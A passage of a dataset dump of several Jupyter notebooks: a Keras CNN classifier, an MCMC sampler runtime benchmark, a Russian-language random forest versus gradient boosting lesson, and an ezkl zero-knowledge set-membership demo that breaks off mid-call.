colab_type=\"code\" outputId=\"75c7037c-d79d-4498-b9a8-fc59dceee5d0\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 607}\nmodel = Sequential()\n\n#valid same\n\nmodel.add(Conv2D(filters=32, kernel_size=(3,3),activation=\"relu\",padding=\"same\",data_format=\"channels_last\",input_shape=(128,128,1)))\nmodel.add(MaxPooling2D(pool_size=(2,2),data_format=\"channels_last\"))\n#model.add(Dropout(0.25))\n\nmodel.add(Conv2D(filters=64, kernel_size=(3,3),activation=\"relu\",padding=\"same\",data_format=\"channels_last\"))\nmodel.add(MaxPooling2D(pool_size=(2,2),data_format=\"channels_last\"))\n#model.add(Dropout(0.25))\n\nmodel.add(Conv2D(filters=128, kernel_size=(3,3),activation=\"relu\",padding=\"same\",data_format=\"channels_last\"))\nmodel.add(MaxPooling2D(pool_size=(2,2),data_format=\"channels_last\"))\n#model.add(Dropout(0.25))\n\nmodel.add(Conv2D(filters=256, kernel_size=(3,3),activation=\"relu\",padding=\"same\",data_format=\"channels_last\"))\nmodel.add(MaxPooling2D(pool_size=(2,2),data_format=\"channels_last\"))\n#model.add(Dropout(0.25))\n\nmodel.add(Flatten())\n#model.add(Dropout(0.25))\nmodel.add(Dense(512,activation=\"relu\"))\nmodel.add(Dense(256,activation=\"relu\"))\nmodel.add(Dropout(0.25))\nmodel.add(Dense(6,activation=\"softmax\"))\n\n#layer_utils.print_summary(model)\nprint(model.summary())\n\n# + id=\"p5H7h_OKBUyo\" colab_type=\"code\" outputId=\"8d2b31a5-ac6f-44f7-daaa-9efcad9383fb\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 7109}\n####\ny_train_onehot= np_utils.to_categorical(lab)\n####z\n\n#print(lab)\n#print(y_train_onehot)\nadm = optimizers.Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.01, amsgrad=False)\n#model.compile(loss='categorical_crossentropy', optimizer=Adam(), metrics=['accuracy'])\nmodel.compile(loss='categorical_crossentropy', optimizer=adm , metrics=['accuracy'])\ntrain_history = model.fit(x_array,y_train_onehot,validation_split=0.2,epochs=200,batch_size=32,verbose=1)\n\n\n# + id=\"81kg99wZBng3\" colab_type=\"code\" colab={}\ndef show_train_history(train_history, train, validation):\n plt.plot(train_history.history[train])\n plt.plot(train_history.history[validation])\n plt.title(\"Train History\")\n plt.ylabel(train)\n plt.xlabel('Epoch')\n plt.show()\n\n\n# + id=\"YJ_Z7hGaBnxJ\" colab_type=\"code\" outputId=\"e8e55e38-e38b-44f7-bc11-076c3b47e49d\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 573}\nshow_train_history(train_history,'acc','val_acc')\nshow_train_history(train_history, 'loss', 'val_loss')\n\n# + id=\"LZ8bdh7nBn_W\" colab_type=\"code\" outputId=\"28a61a5d-4871-4182-d515-4b9b6489c4bc\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 69}\nloss, accuracy = model.evaluate(x_array,y_train_onehot)\nprint(\"\\nLoss: %.2f, Accuracy: %.2f%%\" % (loss, accuracy*100))\n\n# + id=\"FfOQSASUBoNA\" colab_type=\"code\" colab={}\n#y_test_onehot = np_utils.to_categorical(y_test)\n#print(y_test_onehot)\n#score = model.evaluate(tx_array)\nY_pred = model.predict(tx_array)\npredictions = model.predict_classes(tx_array)\n\n# + id=\"4yRUZ4VhOHVY\" colab_type=\"code\" colab={}\nprint(x_test)\n\n# + id=\"tQGUo2kcCAeB\" colab_type=\"code\" outputId=\"fe18aa76-8c2b-45e2-dbc9-6f17f9cb9e02\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 173}\nprint(type(Y_pred))\n#print(np_utils.to_categorical(Y_pred))\nprint(predictions.shape)\nprint(np_utils.to_categorical(predictions))\n#print(len(predictions))\n\ndataframe = pd.DataFrame({'ID':x_test,'Label':predictions})\ndataframe.to_csv('UPtest.csv',index=0)\n#with open('test2.csv','w',newline='') as csvfile:\n# writer = csv.writer(csvfile)\n# writer.writerow['Label']\n# for i in range(len(predictions)):\n# print(predictions[i])\n# writer.writerow(predictions[i])\n \n\n# + id=\"k_UaIx8VCP-b\" colab_type=\"code\" colab={}\n#print(tstlab)\n#print(x_array.shape)\n#print(tx_array.shape)\n#print(tstimg[0].shape)\n\n#print(x_train[0].shape)\n","repo_name":"sdses9315/No_KOREAFISH_NoHead","sub_path":"aoitest.ipynb","file_name":"aoitest.ipynb","file_ext":"py","file_size_in_byte":5791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"327714828","text":"# # Comparing parallel affine invariant ensemble sampeler with mixing stages to other MCMC samplers\n# ## August George, Zuckerman Lab, OHSU, 2023\n\n# #### comparing the runtime vs number of cores (1-6)\n\n# +\nimport numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport emcee \nimport sys \nimport os\nimport time\nimport multiprocessing as mp\n\nsys.path.insert(0, os.path.abspath(os.path.join(os.getcwd(), '..')))\nfrom pyPAM import parallel_affine_utility as pau\nfrom pyPAM import parallel_affine as pa\nimport toy_model\n\n\nt_pyPAM = []\nt_emcee = []\nn_cpus_list = []\n\n# use 2-4 number of CPUs \nfor n_cpus_i in range(2,5):\n n_cpus_list.append(n_cpus_i)\n ### parallel affine invariant ensemble sampler with mixing stages\n # sampling parameters \n total_n_walkers = int(6e3)\n np.random.seed(0)\n n_dim = 2\n n_ensembles = n_cpus_i\n n_walkers = int(total_n_walkers/n_ensembles) # n walkers per ensemble --> (n ensembles * n walkers) total walkers \n n_mixing_stages = 10\n n_steps_list = [1000 for _ in range(n_mixing_stages)] # number of steps for each mixing stage\n n_total_samples = np.sum(np.array(n_steps_list))*n_walkers*n_ensembles # total number of samples collected\n burn_in = int(n_total_samples/4)\n\n log_prob_args = [1,100] # additional arguments for log probability function f(x,*args)\n n_cores = n_ensembles \n\n # initial start points w/ shape = (n_ensembles, n_walkers, n_dim)\n x0_range = np.random.uniform(-2, 2, size=(n_ensembles, n_walkers, 1))\n x1_range = np.random.uniform(-1, 3, size=(n_ensembles, n_walkers, 1))\n p_0 = np.concatenate((x0_range, x1_range), axis=2)\n\n # set backend filenames for each ensemble\n backend_fnames = [f'example_data_{i}.h5' for i in range(n_ensembles)]\n\n # set move set for each ensemble\n moves = [[\n (emcee.moves.StretchMove(), 0.8),\n (emcee.moves.DESnookerMove(), 0.2),\n ] for i in range(n_ensembles)]\n\n # set run labels for each mixing stage\n run_id_list = [ f'stage_{i}' for i in range(n_mixing_stages)]\n\n # run parallel sampler (w/ mixing) and time it\n t0 = time.time()\n sampler = pa.ParallelEnsembleSampler(n_ensembles, n_walkers, n_dim, toy_model.log_prob, log_prob_args, backend_fnames, moves)\n states = sampler.run_mixing_sampler(p_0, n_steps_list, n_cores, n_mixing_stages, run_id_list)\n t = time.time()-t0 \n # Clean up test files (removes h5 files)\n for fname in backend_fnames:\n if os.path.exists(fname):\n os.remove(fname)\n t_pyPAM.append(t)\n\n ### emcee\n n_walkers_emcee = int(total_n_walkers)#n_walkers*n_ensembles\n n_steps_emcee = np.sum(np.array(n_steps_list))\n total_samples_emcee = n_walkers_emcee*n_steps_emcee\n backend_emcee = emcee.backends.HDFBackend('example_data_emcee.h5', name='init_empty')\n # initial start points w/ shape = (n_ensembles, n_walkers, n_dim)\n x0_range_emcee = np.random.uniform(-2, 2, size=(n_walkers_emcee, 1))\n x1_range_emcee = np.random.uniform(-1, 3, size=(n_walkers_emcee, 1))\n p_0_emcee = np.concatenate((x0_range_emcee, x1_range_emcee), axis=1)\n\n\n t0 = time.time()\n with mp.Pool(n_cores) as pool:\n sampler2 = emcee.EnsembleSampler(n_walkers_emcee, n_dim, toy_model.log_prob, args=log_prob_args, backend=backend_emcee, moves=moves[0])\n state2 = sampler2.run_mcmc(p_0_emcee,n_steps_emcee)\n t = time.time()-t0 \n\n\n if os.path.exists('example_data_emcee.h5'):\n os.remove('example_data_emcee.h5')\n\n t_emcee.append(t)\n print(f'{n_cpus_i} cpus: pyPAM={t_pyPAM[-1]}s, emcee={t_emcee[-1]}s, ratio={t_pyPAM[-1]/t_emcee[-1]}s')\n\n# -\n\n# #### plots of previously collected data\n\n# +\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# comparing runtime vs number of steps (same n walkers=1e4 and n cores=4)\nn_steps =[1e5, 1e4, 1e3]\nn_steps_t_parallel= [2420,247,44]\nn_steps_t_emcee= [4990,504,51]\n\nplt.figure(figsize=(8,6))\nplt.plot(n_steps, n_steps_t_parallel, '-o', label='extended parallel emcee with mixing')\nplt.plot(n_steps, n_steps_t_emcee, '-o',label='parallel emcee')\nplt.legend()\nplt.yscale('log')\nplt.xscale('log')\nplt.xlabel('N total MCMC steps')\nplt.ylabel('wall clock time (sec)')\nplt.title('comparing run times vs number of sampling steps')\n\nplt.figure(figsize=(8,6))\nplt.plot(n_steps, np.array(n_steps_t_emcee)/np.array(n_steps_t_parallel), '-o', label='parallel emcee / extended parallel emcee with mixing')\nplt.legend()\nplt.xlabel('N total MCMC steps')\nplt.ylabel('wall clock time ratio')\nplt.xscale('log')\nplt.title('comparing run times vs number of sampling steps')\n\n\n# +\n# comparing runtime vs number of walkers (same n steps=1e4 and n cores=4)\nn_walkers =[1e4, 1e3, 1e2]\nn_walkers_t_parallel= [1356,247,148]\nn_walkers_t_emcee= [2534,504,164]\n\nplt.figure(figsize=(8,6))\nplt.plot(n_steps, n_walkers_t_parallel, '-o', label='extended parallel emcee with mixing')\nplt.plot(n_steps, n_walkers_t_emcee, '-o',label='parallel emcee')\nplt.legend()\nplt.yscale('log')\nplt.xscale('log')\nplt.xlabel('N total ensemble walkers')\nplt.ylabel('wall clock time (sec)')\nplt.title('comparing run times vs number of walkers')\n\nplt.figure(figsize=(8,6))\nplt.plot(n_steps, np.array(n_walkers_t_emcee)/np.array(n_walkers_t_parallel), '-o', label='parallel emcee / extended parallel emcee with mixing')\nplt.legend()\nplt.xlabel('N total ensemble walkers')\nplt.ylabel('wall clock time ratio')\nplt.xscale('log')\nplt.title('comparing run times vs number of walkers')\n\n# +\n# comparing runtime vs number of walkers (same n steps=1e4 and n cores=4)\nn_cpu =[2, 3, 4]\nn_cpu_t_parallel= [482,374,332]\nn_cpu_t_emcee= [798,793,811]\n\nplt.figure(figsize=(8,6))\nplt.plot(n_cpu, n_cpu_t_parallel, '-o', label='extended parallel emcee with mixing')\nplt.plot(n_cpu, n_cpu_t_emcee, '-o',label='parallel emcee')\nplt.legend()\n#plt.yscale('log')\nplt.xlabel('N cpus')\nplt.ylabel('wall clock time (sec)')\nplt.title('comparing run times vs number of parallel processes')\n\nplt.figure(figsize=(8,6))\nplt.plot(n_cpu, np.array(n_cpu_t_emcee)/np.array(n_cpu_t_parallel), '-o', label='parallel emcee / extended parallel emcee with mixing')\nplt.legend()\nplt.xlabel('N cpus')\nplt.ylabel('wall clock time ratio')\nplt.title('comparing run times vs number of parallel processes')\n\n# -\n\n\n","repo_name":"ZuckermanLab/pyPAM","sub_path":"examples/comparing_samplers.ipynb","file_name":"comparing_samplers.ipynb","file_ext":"py","file_size_in_byte":6269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"26393728659","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + id=\"f9hp04ZT2Qqs\"\nimport numpy as np\nimport pandas as pd\n\nfrom tqdm.notebook import tqdm\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom sklearn.ensemble import RandomForestRegressor, RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingRegressor\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.datasets import fetch_california_housing\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import mean_squared_error as mse\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import shuffle\n\nsns.set(font_scale=1.8, palette='Set2')\n\n# + [markdown] id=\"5rZtK5OtdUK9\"\n# ## Сравнение градиентного бустинга и случайного леса\n#\n# ### 1 Задача регрессии\n#\n# Исследуем зависимость качества предсказаний градиентного бустинга и случайного леса в зависимости от числа базовых моделей на примере задаче регрессии. Для случайного леса будем использовать класс `RandomForestRegressor` библиотеки `sklearn`.\n\n# + id=\"EplQ_NGddUK9\"\nhousing = fetch_california_housing()\nX, y = housing.data, housing.target\n\n# + [markdown] id=\"mSZ8Rt3adUK9\"\n# Разобьём данные на обучающую выборку и на валидацию, выделив на валидацию 25% данных.\n\n# + id=\"F-OhfAmEdUK9\"\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25)\n\n\n# + id=\"4yLRTjecdUK9\"\ndef plot_compare_estimators(estimator_labels, param_grid, train_metrics,\n test_metrics, param_label='', metrics_label='', \n title=''):\n '''Функция для построения графиков зависимости целевой метрики \n от некоторого параметра модели на обучающей и на валидационной \n выборке.\n \n :param estimator_labels: массив названий моделей\n :param param_grid: значения исследуемого параметра\n :param train_metrics: массив, где i-ый элемент - \n это массив значений метрики на обучающей выборке для i-ой модели\n :param test_metrics: массив, где i-ый элемент - \n это массив значений метрики на валидационной выборке для i-ой модели\n :param param_label: названия параметра\n :param metrics_label: название метрики\n :param title: заголовок для графика\n '''\n \n plt.figure(figsize=(12, 6))\n \n for estimator_id in range(len(estimator_labels)):\n label = estimator_labels[estimator_id]\n plt.plot(\n param_grid, train_metrics[estimator_id], \n label=f'{label} train', linewidth=3\n )\n plt.plot(\n param_grid, test_metrics[estimator_id],\n label=f'{label} test', linewidth=3\n )\n \n plt.legend()\n plt.xlabel(param_label)\n plt.ylabel(metrics_label)\n plt.title(title, fontsize=20)\n\n\n# + [markdown] id=\"hvFi-MOtdUK9\"\n# Обучим случайный лес для разного числа деревьев и посчитаем `mse`.\n\n# + id=\"K2SPY2WNdUK-\" outputId=\"9a543a69-ff62-4303-a601-7e1aecf0ba30\" colab={\"referenced_widgets\": [\"99313ddf27584f9dba5ba6c8649fb43e\", \"2c01d44215c34463a5625fa457e6c419\", \"9e4f07ea97614d1393551c45c2b1b0bf\", \"b5b8b0c9fba8440598a284529dd0b241\", \"4e638cb960044b7d832444def856f8c2\", \"f225185cf2dc4db7992f138c39320112\", \"b4c1031d04894a0f98bcbd9e85420305\", \"8e6d3dc507f94adeb35446d6e9d7fc7f\", \"a434760770734f4b9b859588ed5174e8\", \"32a9fe82fc8745149cefbf56b722acc8\", \"c81404a975194a82a721c197fdf692f3\"], \"base_uri\": \"https://localhost:8080/\", \"height\": 49}\nrf_mse_train = [] # метрика на трейне\nrf_mse_test = [] # метрика на тесте\nn_estimators_grid = range(1, 300, 10)\n\nfor n_estimators in tqdm(n_estimators_grid):\n current_es = RandomForestRegressor(n_estimators, n_jobs=-1).fit(X_train, y_train)\n rf_mse_train.append(mse(y_train, current_es.predict(X_train)))\n rf_mse_test. append(mse(y_test, current_es.predict(X_test )))\n\n# + [markdown] id=\"hDeLGNPydUK-\"\n# Обучим градиентный бустинг для разного числа деревьев и посчитаем `mse`.\n\n# + id=\"r89ZlrWcdUK-\" outputId=\"0c1f5f8b-e116-4f60-93b3-5a6edf739cdc\" colab={\"referenced_widgets\": [\"b9674e8350e84be2a38197fd9d283835\", \"c54f46e3fb5c40ffa56e874eeecbe7d7\", \"f1c47693183542d5ae6238a745f2043a\", \"3e4995a25ed04fc5b223fa2465788291\", \"82655791024b4299ac80f8c4b2c94460\", \"187597eb654944e28a985cabb7bebdac\", \"1ddb283eaf06461e8f758f838d1638a8\", \"30267f8440c7418e91ceedd1b67f03e4\", \"b652e1ce63c4445bb3b3a58ea24f5ef5\", \"fb5245551b4a4bf6bc56187ad7e26c53\", \"50142415a9c94c398394f98d8b582962\"], \"base_uri\": \"https://localhost:8080/\", \"height\": 49}\nboosting_mse_train = []\nboosting_mse_test = []\n\nfor n_estimators in tqdm(n_estimators_grid):\n current_es = GradientBoostingRegressor(n_estimators=n_estimators).fit(X_train, y_train)\n boosting_mse_train.append(mse(y_train, current_es.predict(X_train)))\n boosting_mse_test. append(mse(y_test, current_es.predict(X_test )))\n\n# + [markdown] id=\"YaYLWz1jdUK-\"\n# Построим график зависимости `mse` от количества базовых моделей.\n\n# + id=\"Fta3_4ebdUK-\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 431} outputId=\"fab7d075-989d-43b2-99ca-18acc04b87bd\"\nplot_compare_estimators(\n ['random forest', 'boosting'], n_estimators_grid, \n [rf_mse_train, boosting_mse_train], \n [rf_mse_test, boosting_mse_test],\n 'Количество деревьев', 'MSE', \n 'Сравнение случайного леса и градиентного бустинга'\n)\n\n# + [markdown] id=\"Af92oqE5dUK_\"\n# **Вывод.** \n#\n# Лес и бустинг на тестовой выборке имеют в пределе одинаковую метрику. При этом лес выходит на плато при меньшем количестве деревьев.\n#\n# При этом переобучение у бустинга практически не заметно.\n\n# + [markdown] id=\"K3qHBCnFdUK_\"\n# ### 2 Задача классификации\n\n# + [markdown] id=\"jasm7pZodUK_\"\n# Сделаем аналогичный эксперимент с датасетом для классификации рукописных цифр.\n\n# + id=\"14CAvKxLdUK0\" outputId=\"38f88fb7-cb1b-4db8-c454-e61d85fd62ae\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 223}\nletters_df = pd.read_csv('letter-recognition.data', header=None)\nprint('shape:', letters_df.shape)\nletters_df.head()\n\n# + id=\"Nk-YZ00rdUK_\" outputId=\"081973e9-a03a-4137-a95b-2442efa52d2d\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 223}\nprint('shape:', letters_df.shape)\nletters_df.head()\n\n# + id=\"ryBGC_iFdUK_\"\nX = letters_df.values[:, 1:]\ny = letters_df.values[:, 0]\n\n# + [markdown] id=\"m06PSb9kdUK_\"\n# Разобьём данные на обучающую и тестовую выборки.\n\n# + id=\"n85jCvJVdUK_\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"3fdf12c1-be8e-443b-b8cd-e17ff694a9bb\"\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=42)\ny_train\n\n# + [markdown] id=\"M2TNNw92dULA\"\n# Обучим случайный лес для разного числа деревьев и посчитаем метрику `accuracy`.\n\n# + id=\"s-Qpss4adULA\" outputId=\"0bb0f27e-0095-446e-8481-c34c50f7b909\" colab={\"referenced_widgets\": [\"47037c4fdfa040dda5ecd0135027a4ad\", \"4bc0ece459af4995bc8d6d4b30534841\", \"9515bcec25604feabe2911a5e3d72c6b\", \"9e1fddf7ffd946108a1bd67bbffdc86f\", \"76d6c341db754b0085e59f8af638ad3c\", \"ee3679a3ce7f4e3c89f3f96b6584c207\", \"3ff18e321c914e8189626a0884617ab4\", \"4cd7c42257804140969fe5ed2b30081e\", \"dac9ed5e0a064c70afb1a635e4224f06\", \"d249f431ec70405faad8d93fe31f57a1\", \"c2e5ee6b3b6842c6ba9176d14447280e\"], \"base_uri\": \"https://localhost:8080/\", \"height\": 49}\nrf_accuracy_train = []\nrf_accuracy_test = []\nn_estimators_grid = range(1, 300, 25)\n\nfor n_estimators in tqdm(n_estimators_grid):\n current_es = RandomForestClassifier(n_estimators, n_jobs=-1).fit(X_train, y_train)\n rf_accuracy_train.append(accuracy_score(y_train, current_es.predict(X_train)))\n rf_accuracy_test. append(accuracy_score(y_test, current_es.predict(X_test )))\n\n# + [markdown] id=\"kXKAgtThdULA\"\n# Обучим градиентный бустинг для разного числа деревьев и посчитаем метрику `accuracy`.\n\n# + id=\"EArC6NQndULA\" outputId=\"91abf421-30a8-489e-a1e7-94c66a6d8a6d\" colab={\"referenced_widgets\": [\"ff809c04c74148bd83381244c241c8d6\", \"5a03573a6b2e43cdb4a7ace074f32b7e\", \"551a99f3b11040d4991e51fab759b07f\", \"39a7fd209b5244e5a2d9abb15de543ed\", \"895dc3bc8faf4313893de41fa2263943\", \"25e2412733174886bf29a230e6acd344\", \"543cdab4a61641ef9e6abc6b9c95e948\", \"94ef3c68c0e64be39de1b967e42d8295\", \"c29de783109444dd81f8308c5d04dfb4\", \"47cb4ed378fa449fa1884bddcb6da155\", \"26b89c10c7334b63a889f6d6344a5243\"], \"base_uri\": \"https://localhost:8080/\", \"height\": 49}\nboosting_accuracy_train = []\nboosting_accuracy_test = []\nn_estimators_grid = range(1, 300, 25)\n\nfor n_estimators in tqdm(n_estimators_grid):\n current_es = GradientBoostingClassifier(n_estimators=n_estimators).fit(X_train, y_train)\n boosting_accuracy_train.append(accuracy_score(y_train, current_es.predict(X_train)))\n boosting_accuracy_test.append(accuracy_score(y_test, current_es.predict(X_test )))\n\n# + [markdown] id=\"gCFNBTz3dULA\"\n# Построим график зависимости `accuracy` от количества базовых моделей.\n\n# + id=\"Ol2si0dYdULA\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 431} outputId=\"28fc3c01-ea42-470a-8645-44c2866afd65\"\nplot_compare_estimators(\n ['random forest', 'boosting'], n_estimators_grid, \n [rf_accuracy_train, boosting_accuracy_train],\n [rf_accuracy_test, boosting_accuracy_test],\n 'Количество деревьев', 'accuracy', \n 'Сравнение случайного леса и градиентного бустинга'\n)\n\n# + [markdown] id=\"ehYEMx91dULB\"\n# **Вывод.**\n#\n# Классификатор бустинга более склонен к переобучению чем регрессор. train и test кривые достигют своих лесных коллег также при большем количестве деревьев.\n","repo_name":"helloginov/study","sub_path":"5-sem/Phystech@DataScience/06_practice2_boosting.ipynb","file_name":"06_practice2_boosting.ipynb","file_ext":"py","file_size_in_byte":11236,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"42509109682","text":"# + [markdown] id=\"cf69bb3f-94e6-4dba-92cd-ce08df117d67\"\n# ## Hash set membership demo\n\n# + id=\"95613ee9\"\n# check if notebook is in colab\ntry:\n # install ezkl\n import google.colab\n import subprocess\n import sys\n subprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", \"ezkl\"])\n subprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", \"onnx\"])\n subprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", \"pytest\"])\n\n# rely on local installation of ezkl if the notebook is not in colab\nexcept:\n pass\n\nimport logging\nFORMAT = '%(levelname)s %(name)s %(asctime)-15s %(filename)s:%(lineno)d %(message)s'\nlogging.basicConfig(format=FORMAT)\nlogging.getLogger().setLevel(logging.DEBUG)\n\n# here we create and (potentially train a model)\n\n# make sure you have the dependencies required here already installed\nfrom torch import nn\nimport ezkl\nimport os\nimport json\nimport torch\n\nclass MyModel(nn.Module):\n def __init__(self):\n super(MyModel, self).__init__()\n\n def forward(self, x, y):\n diff = (x - y)\n membership_test = torch.prod(diff, dim=1)\n return (membership_test,y)\n\n\ncircuit = MyModel()\n\n# Train the model as you like here (skipped for brevity)\n\n\n\n\n# + id=\"b37637c4\"\nmodel_path = os.path.join('network.onnx')\ncompiled_model_path = os.path.join('network.compiled')\npk_path = os.path.join('test.pk')\nvk_path = os.path.join('test.vk')\nsettings_path = os.path.join('settings.json')\nsrs_path = os.path.join('kzg.srs')\nwitness_path = os.path.join('witness.json')\ndata_path = os.path.join('input.json')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"c833f08c\" outputId=\"b5c794e1-c787-4b65-e267-c005e661df1b\"\n# print pytorch version\nprint(torch.__version__)\n\n# + id=\"82db373a\"\n\n\nx = torch.zeros(1,*[1], requires_grad=True)\ny = torch.tensor([0.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0], requires_grad=True)\n\ny_input = [0.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0]\n\n# Create an empty list to store the results\nresult = []\n\n# Loop through each element in the y tensor\nfor e in y_input:\n # Apply the custom function and append the result to the list\n print(ezkl.float_to_vecu64(e,7))\n result.append(ezkl.poseidon_hash([ezkl.float_to_vecu64(e, 7)])[0])\n\ny = y.unsqueeze(0)\ny = y.reshape(1, 9)\n\n# Flips the neural net into inference mode\ncircuit.eval()\n\n # Export the model\ntorch.onnx.export(circuit, # model being run\n (x,y), # model input (or a tuple for multiple inputs)\n model_path, # where to save the model (can be a file or file-like object)\n export_params=True, # store the trained parameter weights inside the model file\n opset_version=14, # the ONNX version to export the model to\n do_constant_folding=True, # whether to execute constant folding for optimization\n input_names = ['input'], # the model's input names\n output_names = ['output'], # the model's output names\n dynamic_axes={'input' : {0 : 'batch_size'}, # variable length axes\n 'output' : {0 : 'batch_size'}})\n\ndata_array_x = ((x).detach().numpy()).reshape([-1]).tolist()\ndata_array_y = result\nprint(data_array_y)\n\ndata = dict(input_data = [data_array_x, data_array_y])\n\nprint(data)\n\n # Serialize data into file:\njson.dump( data, open(data_path, 'w' ))\n\n\n# + id=\"d5e374a2\"\nrun_args = ezkl.PyRunArgs()\n# \"hashed/private\" means that the output of the hashing is not visible to the verifier and is instead fed into the computational graph\nrun_args.input_visibility = \"hashed/private/0\"\n# we set it to fix the set we want to check membership for\nrun_args.param_visibility = \"public\"\n# the output is public -- set membership fails if it is not = 0\nrun_args.output_visibility = \"fixed\"\nrun_args.variables = [(\"batch_size\", 1)]\n# never rebase the scale\nrun_args.scale_rebase_multiplier = 1000\n# logrows\nrun_args.logrows = 11\n\n# this creates the following sequence of ops:\n# 1. hash the input -> poseidon(x)\n# 2. compute the set difference -> poseidon(x) - set\n# 3. compute the product of the set difference -> prod(poseidon(x) - set)\n\n\n# TODO: Dictionary outputs\nres = ezkl.gen_settings(model_path, settings_path, py_run_args=run_args)\nassert res == True\n\n\n# + id=\"3aa4f090\"\nres = ezkl.compile_circuit(model_path, compiled_model_path, settings_path)\nassert res == True\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8b74dcee\" outputId=\"f7b9198c-2b3d-48bb-c67e-8478333cedb5\"\n# srs path\nres = ezkl.get_srs(srs_path, settings_path)\n\n# + id=\"18c8b7c7\"\n# now generate the witness file\n\nres = ezkl.gen_witness(data_path, compiled_model_path, witness_path)\nassert os.path.isfile(witness_path)\n\n# + id=\"Y94vCo5Znrim\"\n# now generate a faulty input + witness file (x input not in the set)\n\ndata_path_faulty = os.path.join('input_faulty.json')\n\nwitness_path_faulty = os.path.join('witness_faulty.json')\n\nx = torch.ones(1,*[1], requires_grad=True)\ny = torch.tensor([0.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0], requires_grad=True)\n\ny = y.unsqueeze(0)\ny = y.reshape(1, 9)\n\ndata_array_x = ((x).detach().numpy()).reshape([-1]).tolist()\ndata_array_y = result\nprint(data_array_y)\n\ndata = dict(input_data = [data_array_x, data_array_y])\n\nprint(data)\n\n # Serialize data into file:\njson.dump( data, open(data_path_faulty, 'w' ))\n\nres = ezkl.gen_witness(data_path_faulty, compiled_model_path, witness_path_faulty)\nassert os.path.isfile(witness_path_faulty)\n\n# + id=\"FQfGdcUNpvuK\"\n# now generate a truthy input + witness file (x input not in the set)\nimport random\n\n# Generate a random integer between 1 and 8, inclusive\nrandom_value = random.randint(1, 8)\n\ndata_path_truthy = os.path.join('input_truthy.json')\n\nwitness_path_truthy = os.path.join('witness_truthy.json')\n\nset = [0.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0]\n\nx = torch.tensor([set[random_value]])\ny = torch.tensor(set, requires_grad=True)\n\ny = y.unsqueeze(0)\ny = y.reshape(1, 9)\n\nx = x.unsqueeze(0)\nx = x.reshape(1,1)\n\ndata_array_x = ((x).detach().numpy()).reshape([-1]).tolist()\ndata_array_y = result\nprint(data_array_y)\n\ndata = dict(input_data = [data_array_x, data_array_y])\n\nprint(data)\n\n# Serialize data into file:\njson.dump( data, open(data_path_truthy, 'w' ))\n\nres = ezkl.gen_witness(data_path_truthy, compiled_model_path, witness_path_truthy)\nassert os.path.isfile(witness_path_truthy)\n# -\n\nwitness = json.load(open(witness_path, \"r\"))\nwitness\n\n# + id=\"b1c561a8\"\n\n# HERE WE SETUP THE CIRCUIT PARAMS\n# WE GOT KEYS\n# WE GOT CIRCUIT PARAMETERS\n# EVERYTHING ANYONE HAS EVER NEEDED FOR ZK\n\n# we force the output to be 0 this corresponds to the set membership test being true -- and we set this to a fixed vis output\n# this means that the output is fixed and the verifier can see it but that if the input is not in the set the output will not be 0 and the verifier will reject\nwitness = json.load(open(witness_path, \"r\"))\nwitness[\"outputs\"][0] = [[0, 0, 0, 0]]\njson.dump(witness, open(witness_path, \"w\"))\n\nwitness = json.load(open(witness_path, \"r\"))\nprint(witness[\"outputs\"][0])\n\nres = ezkl.setup(\n compiled_model_path,\n vk_path,\n pk_path,\n srs_path,\n witness_path = witness_path,\n )\n\nassert res == True\nassert os.path.isfile(vk_path)\nassert os.path.isfile(pk_path)\nassert os.path.isfile(settings_path)\n\n# + id=\"c384cbc8\"\n# GENERATE A PROOF\n\n\nproof_path = os.path.join('test.pf')\n\nres = ezkl.prove(\n witness_path,\n compiled_model_path,\n pk_path,\n proof_path,\n srs_path,\n \"single\",\n )\n\nprint(res)\nassert os.path.isfile(proof_path)\n\n# + id=\"XAC73EvtpM-W\"\n# GENERATE A FAULTY PROOF\n\n\nproof_path_faulty = os.path.join('test_faulty.pf')\n\nres = ezkl.prove(\n witness_path_faulty,\n compiled_model_path,\n pk_path,\n proof_path_faulty,\n srs_path,\n \"single\",\n )\n\nprint(res)\nassert os.path.isfile(proof_path_faulty)\n\n# + id=\"_x19Q4FUrKb6\"\n# GENERATE A TRUTHY PROOF\n\n\nproof_path_truthy = os.path.join('test_truthy.pf')\n\nres = ezkl.prove(\n witness_path_truthy,\n 